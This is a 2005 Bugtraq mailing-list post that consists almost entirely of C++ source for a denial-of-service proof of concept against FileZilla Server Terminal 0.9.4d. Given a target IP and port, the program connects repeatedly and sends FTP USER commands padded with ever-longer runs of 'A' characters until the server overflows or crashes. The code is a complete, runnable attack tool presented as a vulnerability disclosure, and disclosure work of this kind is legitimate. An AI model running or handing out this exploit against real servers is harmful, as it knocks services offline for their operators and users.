bugtraq - Re: Work in Progress: FileZilla Server Terminal V0.9.4d Buffer Overflow

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Date: 21 Nov 2005 17:24:38 -0000
From: inge.henriksen@...leansoft.com
To: bugtraq@...urityfocus.com
Subject: Re: Work in Progress: FileZilla Server Terminal V0.9.4d Buffer
 Overflow


/*
FileZillaDoS.cpp
FileZilla Server Terminal 0.9.4d DoS PoC by Inge Henriksen.
Read the disclaimer at http://ingehenriksen.blogspot.com before using.
Made to work with Microsoft(R) Visual C++(R), to use link "WS2_32.lib".
*/

#include "stdafx.h"
#include <iostream>
#include "Winsock2.h"

#define BUFFSIZE 10000
#define ATTACK_BUFFSIZE 5000

using namespace std;

int _tmain(int argc, _TCHAR* argv[])
{
	cout << "FileZilla Server Terminal 0.9.4d DoS PoC by Inge Henriksen." << endl;
	cout << "Read the disclaimer at http://ingehenriksen.blogspot.com before using." << endl;
	if (argc!=3)			// Exit if wrong number of arguments
	{
		cerr << "Error: Wrong number of arguments" << endl;
		cout << "Usage: " << argv[0] << " <Target IP> <Target Port>" << endl;
		cout << "Example: " << argv[0] << " 192.168.2.100 21" << endl;
		return (-1);
	}

	in_addr IPAddressData;
	__int64 counterVal;
	char* bufferData;
	char* attackStringData;
	SOCKET sock;
	sockaddr_in sinInterface;

	WSADATA wsaData;
	int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);		// Use Winsock version 2.2
	if (iResult != NO_ERROR)
	{
		cerr << "Error: WSAStartup() failed" << endl;
		return(-1);
	}

	int recvRet;
	char tmpBuffer[BUFFSIZE];
	char tmpAttackBuffer[ATTACK_BUFFSIZE];
	tmpAttackBuffer[0] = 'U';
	tmpAttackBuffer[1] = 'S';
	tmpAttackBuffer[2] = 'E';
	tmpAttackBuffer[3] = 'R';
	tmpAttackBuffer[4] = ' ';

	int i;
	int j=5;
	for (i=j;i<ATTACK_BUFFSIZE-6;i++)
	{
		int k;
		for(k=j;k<=i;k++)
		{
			tmpAttackBuffer[k] = 'A';
		}
		tmpAttackBuffer[k] = '\n';
		tmpAttackBuffer[k+1] = '\0';

		sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP );
		if ((int)(sock)==-1)
		{
			cerr << "Error: Could not create socket" << endl;
			return(-1);
		}

		sinInterface.sin_family = AF_INET;
		sinInterface.sin_addr.s_addr = inet_addr(argv[1]);
		sinInterface.sin_port = htons(atoi(argv[2]));

		if ((connect(sock,(sockaddr*)&sinInterface ,sizeof(sockaddr_in))!=SOCKET_ERROR))
		{
			int sendResult = send( sock, tmpAttackBuffer , (int)strlen(tmpAttackBuffer), 0);
			cout << "Sent " << strlen(tmpAttackBuffer) << " characters" << endl;
			if ( sendResult != SOCKET_ERROR )
			{
				recvRet = SOCKET_ERROR;

				for (int i=0;i<BUFFSIZE;i++)
					tmpBuffer[i]=(char)0;

				recvRet = recv( sock, tmpBuffer , BUFFSIZE-1, 0 );
				if ( recvRet == SOCKET_ERROR )
					cerr << "Error: recv() failed" << endl;
				else
					cout << "Response is: " << endl << tmpBuffer << endl;;
			}
			else
				cerr << "Error: send() failed" << endl;	

			if (shutdown(sock,0)==SOCKET_ERROR)
				cerr << "Error: shutdown() failed" << endl;
		}
		else
			cerr << "Error: connect() failed" << endl;

		if (closesocket(sock)==SOCKET_ERROR)
			cerr << "Error: closesocket() failed" << endl;

	}	// End for loop

	return 0;
}